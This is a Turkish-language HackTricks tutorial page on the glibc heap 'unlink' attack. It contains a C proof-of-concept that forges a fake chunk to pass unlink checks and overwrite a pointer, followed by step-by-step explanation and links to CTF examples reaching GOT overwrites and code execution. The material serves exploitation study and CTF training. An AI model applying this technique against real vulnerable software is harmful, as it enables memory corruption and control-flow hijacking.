Unlink Attack
Last updated
Last updated
AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
Abonelik planlarını kontrol edin!
💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Bu saldırı keşfedildiğinde genellikle bir WWW (Write What Where) izin veriyordu, ancak bazı kontroller eklenmiş ve saldırının yeni sürümü daha ilginç, daha karmaşık ve anlamsız hale getirilmiştir.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* Saldırı, tcaches kullanıldığında çalışmaz (2.26'dan sonra)
### Amaç
Bu saldırı, **bir parçanın işaret ettiği konumu kendisinden 3 adres öncesine işaret edecek şekilde değiştirmeyi** sağlar. Eğer bu yeni konum (işaretçinin bulunduğu yerin çevresi) ilginç şeyler içeriyorsa, diğer kontrol edilebilir tahsisler / yığın gibi, bunları okuyup/üzerine yazarak daha büyük zarara neden olmak mümkündür.
* Eğer bu işaretçi yığında bulunuyorsa, çünkü şimdi kendisinden 3 adres önce işaret ediyor ve kullanıcı potansiyel olarak bunu okuyup değiştirebiliyorsa, yığından hassas bilgiler sızdırmak veya hatta geri dönüş adresini (belki) canary'ye dokunmadan değiştirmek mümkün olacaktır
* CTF örneklerinde, bu işaretçi diğer tahsislere işaret eden bir işaretçi dizisinde bulunmaktadır, bu nedenle 3 adres öncesine işaret etmesi ve okuyup yazabilmesi sayesinde diğer işaretçileri başka adreslere işaret etmesi mümkün olacaktır. Potansiyel olarak kullanıcı diğer tahsisleri de okuyup/yazabildiği için bilgi sızdırabilir veya rastgele konumlara yeni adresler üzerine yazabilir (örneğin GOT'ta).
### Gereksinimler
* Bir bellekte (örneğin yığın) bazı kontrol sahibi olmak için bazı özelliklere değerler vererek bir çift parça oluşturmak.
* Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı.
### Saldırı
* Bir çift parça bulunmaktadır (parça1 ve parça2)
* Saldırgan parça1'in içeriğini ve parça2'nin başlıklarını kontrol eder.
* Parça1'de saldırgan sahte bir parça yapısını oluşturur:
* Korumaları atlamak için `boyut` alanının doğru olduğundan emin olur, böylece `corrupted size vs. prev_size while consolidating` hatası alınmaz
* ve sahte parçanın `fd` ve `bk` alanları, sahte parçanın depolandığı yerin -3 ve -2 ofsetlerinde işaret eder duruma getirilir, böylece `sahte_parça->fd->bk` ve `sahte_parça->bk->fd` gerçek parça1 adresinin bulunduğu bellek (yığın) konumuna işaret eder:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Parça2'nin başlıkları değiştirilir ve önceki parçanın kullanılmadığını ve içerdiği sahte parçanın boyutunun boyut olduğunu belirtir.
* İkinci parça serbest bırakıldığında, bu sahte parçanın bağlantısının kesildiği olur:
* `sahte_parça->fd->bk` = `sahte_parça->bk`
* `sahte_parça->bk->fd` = `sahte_parça->fd`
* Daha önce `sahte_parça->fd->bk` ve `sahte_parça->bk->fd`'nin aynı yere işaret ettiği sağlanmıştı (parça1'in depolandığı yığın konumu, bu nedenle geçerli bir bağlı liste idi). Çünkü **her ikisi de aynı yere işaret ediyor**, sadece sonuncusu (`sahte_parça->bk->fd = sahte_parça->fd`) **etkili** olacaktır.
* Bu, yığında parça1 işaretçisini yığında depolanan adresin (veya baytların) 3 adres öncesindeki adrese **üzerine yazacaktır**.
* Dolayısıyla, bir saldırgan parça1'in içeriğini kontrol edebilirse, yığının içine **yazabilecek** ve potansiyel olarak canary'yi atlayarak geri dönüş adresini değiştirme ve yerel değişkenlerin değerlerini ve işaretçilerini değiştirme yeteneğine sahip olacaktır. Hatta yine parça1'in yığında depolanan adresini saldırgan tekrar içeriği kontrol edebilirse farklı bir konuma işaret edecek şekilde değiştirebilir, böylece parça1'in içeriğini tekrar kontrol edebilirse herhangi bir yere yazabilir.
* Bu, **adreslerin yığında depolandığı için** mümkün oldu. Risk ve sömürü, sahte parçanın adreslerinin **nerede depolandığına bağlı olabilir**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Referanslar
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* CTF'de bile bir unlink saldırısı bulmak garip olabilir ancak bu saldırının kullanıldığı bazı yazılımlar bulunmaktadır:
* CTF örneği: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Bu örnekte yığın yerine malloc ile oluşturulmuş adreslerin bir dizisi bulunmaktadır. Unlink saldırısı, bir parça buraya tahsis edebilmek için gerçekleştirilir, bu nedenle malloc ile oluşturulmuş adreslerin işaretçilerini kontrol etmek mümkün olur. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeyi sağlayan başka bir işlevsellik vardır, bu da adresleri GOT'a işaret etmeye, işlev adreslerini değiştirmeye ve sızıntılar ve RCE elde etmeye olanak tanır.
* Başka bir CTF örneği: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Önceki örnekte olduğu gibi, tahsis edilen adreslerin bir dizisi bulunmaktadır. Bir unlink saldırısı gerçekleştirilerek ilk tahsis edilen adresin dizinin başlangıcından birkaç konum öncesine işaret etmesi mümkün olur ve ardından bu tahsis edilen adres yeni konumda üzerine yazılır. Bu nedenle, diğer tahsislerin işaretçileri GOT'a işaret etmek üzere üzerine yazılabilir, libc sızıntısı almak için yazdırılabilir ve ardından atoi GOT'u bir gadget adresine yazmak için atoi GOT üzerine yazılabilir.
* Unlink saldırısına oldukça benzer bir zayıflığı istismar eden özel malloc ve free işlevleri ile CTF örneği: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Özel malloc'un FD ve BK işaretçilerini kontrol etmeyi sağlayan bir taşma vardır ve bu (özel) serbest bırakılacak. Dahası, yığının exec biti vardır, bu nedenle bir yığın adresi sızdırmak ve GOT'tan bir işlevi bir yığın parçasına bir kabuk kodu ile işaret etmek mümkündür.
<div data-gb-custom-block data-tag="hint" data-style='success'>
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details>
</div>